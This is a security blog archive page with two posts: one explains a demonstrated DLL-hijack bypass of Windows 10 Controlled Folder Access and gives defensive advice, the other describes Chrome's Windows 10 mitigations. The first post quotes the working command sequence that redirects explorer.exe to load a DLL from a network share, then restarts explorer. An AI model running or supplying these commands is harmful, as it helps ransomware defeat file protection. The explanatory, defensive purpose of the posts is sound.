Tag Archives: DLL Loading

Security Researcher Demonstrates Bypass for Controlled Folder Access

In Windows 10 version 1709 (also known as the Fall Creator’s Update or Redstone 3) and later versions Microsoft introduced a feature known as Controlled Folder Access which aims to prevent ransomware (or unknown applications) from encrypting files within folders that you specify. Further details are provided here.

Last week at the DerbyCon security conference a security researcher, Soya Aoyama from Fujitsu System Integration Laboratories demonstrated how DLL injection (The technique of DLL injection is explained in more detail here and here.) could be used to add a DLL (defined) to the user interface (UI) of Windows 10 (in the form of the shell process, explorer.exe).

The Controlled Folder Access works by preventing any applications not present on a whitelist (a list of allowed applications) from modifying the files in the folders listed as requiring protected. Using the fact that explorer.exe is present on that allowed list; enabled the researcher to bypass this ransomware protection by adding the DLL as a context menu handler. This list of context handlers would usually allow you to for example; perform an anti-malware scan on a file by right clicking or to compress a file using 7-Zip. This list is stored in the Windows Registry at the following location:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

In order to interact with a user explorer.exe by default it loads the shell.dll from the following location:

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\InProcServer32

Aoyama changed the DLL value from shell.dll to his DLL in order that explorer.exe would load it when it started. He then terminated and restarted explorer.exe to successfully load his DLL.

Microsoft currently not in favour of patching this vulnerability
As per Microsoft’s 10 immutable laws of security; at this time they don’t intend to patch this vulnerability since it relies on an attacker having already compromising your system and using it to run a legitimate command to load a malicious DLL into explorer.exe:

reg add HKCU\Software\Classes\CLSlD\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\lnprocServer32 /f /ve /t REG SZ /d \\10.0.1.40\tmp\Anti-ControlledFolderAccess.dll

taskkill /1M explorer.exe /F

start explorer.exe

Due to this pre-requisite of compromising the system first; this issue won’t be patched. This bypass however does not require administrative (defined) access. Aoyama also demonstrated that Windows Defender did not detect this bypass; neither did other anti-malware solutions such as: Avast, ESET, Malwarebytes Premium or McAfee.

How can I protect myself from this bypass?
There are limited options available at this time to prevent this bypass from occurring. If an attacker can download the necessary DLL to your systems and load it; there is a possibility that your anti-malware solution may detect it since the DLL will likely have a low reputation (it would not be a commonly used file); but this is not guaranteed. This especially true since other anti-malware vendors did not detect it.

HitmanPro.Alert may detect this DLL on your system before it has been added to explorer.exe but would require you to have the premium version installed and monitoring your systems to do so.

The key to prevent the above from occurring would be to follow standard email and instant messaging best practices and lock your system (requiring a password or other form of authentication when you return to the system) when you are away from it to prevent someone entering commands. Keeping your system up to date will also reduce the risk of such a DLL from being downloaded if you were to click on a link in an email or instant message or via a drive by download.

If an attacker can physically access and type commands on your system; application white listing in the form of Windows AppLocker would not by default prevent (but even that feature can be bypassed) this attack since the command run by Aoyama makes use of legitimate Windows tools. If an attacker was to try to execute a script for the command (which is far more likely); AppLocker would block it if it is configured to block unknown scripts.

The DLL blocking feature of Windows AppLocker would also assist in this context but may introduce a performance penalty due to the level of effort it needs to undertake to carry out these checks.

Monitoring the location within the Window registry for changes using a tool such Autoruns is also a possibility but you would need to do this manually and given that ransomware doesn’t usually wait to encrypt your files is likely to be ineffective/too slow to detect this bypass.

Given the attention this bypass has received; anti-malware software may detect changes to the explorer.exe context handlers or the shell location going forward but again this is not guaranteed.

I am investigating another option and will update this post when I have more information available.

Thank you.

 

 

Google Chrome Benefits From Windows 10 Security Mitigations

Earlier this year in February, Google added several new security mitigations (defined within this post) to Google Chrome that work in partnership with lesser known changes within the Windows 10 update (known as Build 10586 or Version 1511) made available by Microsoft in November last year.

How Do These New Techniques Work?
In total 3 new mitigations were added:

    1. Block un-trusted fonts
    On numerous occasions over the last year Microsoft have released security updates that address vulnerabilities related to Windows handling of fonts (examples here, here and here (among others)). Such vulnerabilities are of interest to attackers since when successfully exploited they provide the attacker with kernel mode privileges (defined). The concept of a kernel is defined here. A mitigation designed to make exploiting such vulnerabilities more difficult is present in the most recent version of Microsoft EMET version 5.5 and is discussed in more detail on page 11 of the EMET user guide as well as this TechNet article.

    Windows 10 features a system wide means of blocking the use of fonts to only the Windows Font directory (folder) by default located at: C:\Windows\Fonts However due to the application compatibility issues that this feature can cause it is turned off by default. While the ability to enable this security feature for running applications on a per process (defined) basis is available this is unsuitable for Chrome since it creates multiple processes with different security permissions applied. However, the November 2015 Windows 10 added the ability to enable the blocking of fonts for individual processes of which Chrome can now take advantage of.

    2. Block the creation of child processes
    This mitigation is intended to block an attacker’s exploit from creating new running processes without any restrictions of the Google Chrome sandbox (discussed below) on a Windows device if they are successful at exploiting Google Chrome. Google Chrome has always incorporated a protective sandbox (defined) that prevents malicious code from being able to make changes to the computer upon which Google Chrome is installed.

    To address a vulnerability reported by Google to Microsoft in late 2014; the Windows 10 November update provides the ability to applications (if they choose to use it) to block the ability to create child processes including console processes (disused further in the Google bug report linked to above). This new capability is now utilized by Google Chrome.

    3. Block the loading of DLLs (defined) from network drives
    While Windows provides the ability for an application to load a DLL from a network location (e.g. a mapped network drive); this can be used by an attacker to insert malicious code into a legitimate application (e.g. if they substitute a legitimate DLL in a network location with a malicious DLL of the same name).

    This ability has been disabled within Google Chrome when it’s installed on Windows 10 with the November 2015 update further hardening it against this type of attack. This capability is similar to the defences of Microsoft Edge against DLL injection.

    Conclusion
    All of the above new mitigations provide defence-in-depth (defined)(PDF) security against possible future vulnerabilities and provide further incentive for Windows users to migrate to Windows 10. Please do not misunderstand me I am not trying to advocate that users do so, I am simply pointing out the additional security features that are available if you choose to use Windows 10 (with the November update) and Google Chrome in combination.

    Thank you.